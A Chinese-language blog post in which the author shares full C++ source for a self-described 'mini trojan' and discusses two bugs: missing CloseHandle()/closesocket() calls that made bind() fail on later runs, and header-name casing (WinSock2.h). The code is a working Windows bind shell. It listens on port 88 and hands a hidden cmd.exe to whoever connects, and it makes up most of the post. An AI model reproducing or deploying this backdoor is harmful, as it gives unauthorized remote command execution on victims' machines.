CloseHandle()和closesocket()的重要性

#include "iostream"
#include "WinSock2.h"
#include "windows.h"



#pragma comment(lib,"WS2_32.LIB")

using namespace std;
int main()
{
	//////////////////////////////////////////////////////////////////////////定義
	SOCKET Ssocket,Csocket;
	WSADATA wsa;
	int sockaddlen;
	PROCESS_INFORMATION processinfo;
	STARTUPINFO startupinfo;
	char szCMD[256];
	sockaddr_in addr;
	//////////////////////////////////////////////////////////////////////////初始化
	ZeroMemory(&processinfo,sizeof(PROCESS_INFORMATION));
	ZeroMemory(&startupinfo,sizeof(STARTUPINFO));
	ZeroMemory(&wsa,sizeof(WSADATA));
	GetEnvironmentVariable("COMSPEC",szCMD,sizeof(szCMD));

	WSAStartup(0x0202,&wsa);

	addr.sin_family=AF_INET;
	addr.sin_addr.s_addr=INADDR_ANY;
	addr.sin_port=htons(88);

	
	//Csocket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
	Csocket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
	//Csocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

	//////////////////////////////////////////////////////////////////////////創建連接
	if (bind(Csocket,(SOCKADDR *)&addr,sizeof(addr))!=SOCKET_ERROR)
	{
		cout<<"綁定成功"<<endl;
		if (listen(Csocket,1)!=SOCKET_ERROR)
		{
			cout<<"監聽成功"<<endl;
			
			sockaddlen=sizeof(addr);

			Ssocket=accept(Csocket,(sockaddr *)&addr,&sockaddlen);

			
			startupinfo.cb=sizeof(STARTUPINFO);
			startupinfo.wShowWindow=SW_HIDE;
			startupinfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;

			startupinfo.hStdError=(HANDLE)Ssocket;
			startupinfo.hStdInput=(HANDLE)Ssocket;
			startupinfo.hStdOutput=(HANDLE)Ssocket;


			CreateProcess(NULL,szCMD,NULL,NULL,TRUE,0,NULL,NULL,&startupinfo,&processinfo);
			WaitForSingleObject(processinfo.hProcess,INFINITE);
			
			CloseHandle(processinfo.hProcess);
			CloseHandle(processinfo.hThread);

			

		}
		closesocket(Csocket);
		closesocket(Ssocket);

	}
	
	


	return 0;
}

  今天無聊,寫了個mini木馬玩,結尾沒寫CloseHandle()和closesocket(),像我一向不怎麼寫這個東東的,回收啊,之類的,可是運行了幾遍之後,bind()和listen()始終都無法成功了,代碼沒錯,起初,我以爲是編譯器的問題,我清楚後重新生成,發現,還是不行,最後不得不用重啓計算機才得以正常,最後發現,就是沒有寫關閉和回收機制導致的,加了CloseHandle()和closesocket()後,運行了十幾遍,都很OK,還有一個點,我超級不明白的。。。感覺頭文件的大小寫一向來說都是不太重要的,結果今天就讓我遇到了這個奇葩的問題,#include"winsock2.h"和#include"WinSock2.h"基本上就是一樣的吧,一般都是直接用小寫,切換大小寫浪費時間啊,但是這次的程序超級蛋疼,我開始的時候2寫丟了,寫的頭文件是 #include“winsock.h”,因爲這個頭文件是存在的,跟2也有差不多的功能,編譯的時候就報錯,說WSASocket()是未聲明的標識符,也就是這個函數沒有頭文件,我就鬱悶了,最後看見了,是頭文件少個2,可是當我加了個2,我被嚇到了,66個錯誤,都是各種函數是未聲明標識符,比如什麼,bind啊,listen啊,accpet啊。。。。。。我就納悶了,糾結了半個多小時,一直以爲是編譯器問題,最後偶然的動作,改成了WinSock2.h,世界和平了。。。程序正常了。。。上網看了下,規範的寫法就是這樣,這就是不規範害死人啊。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章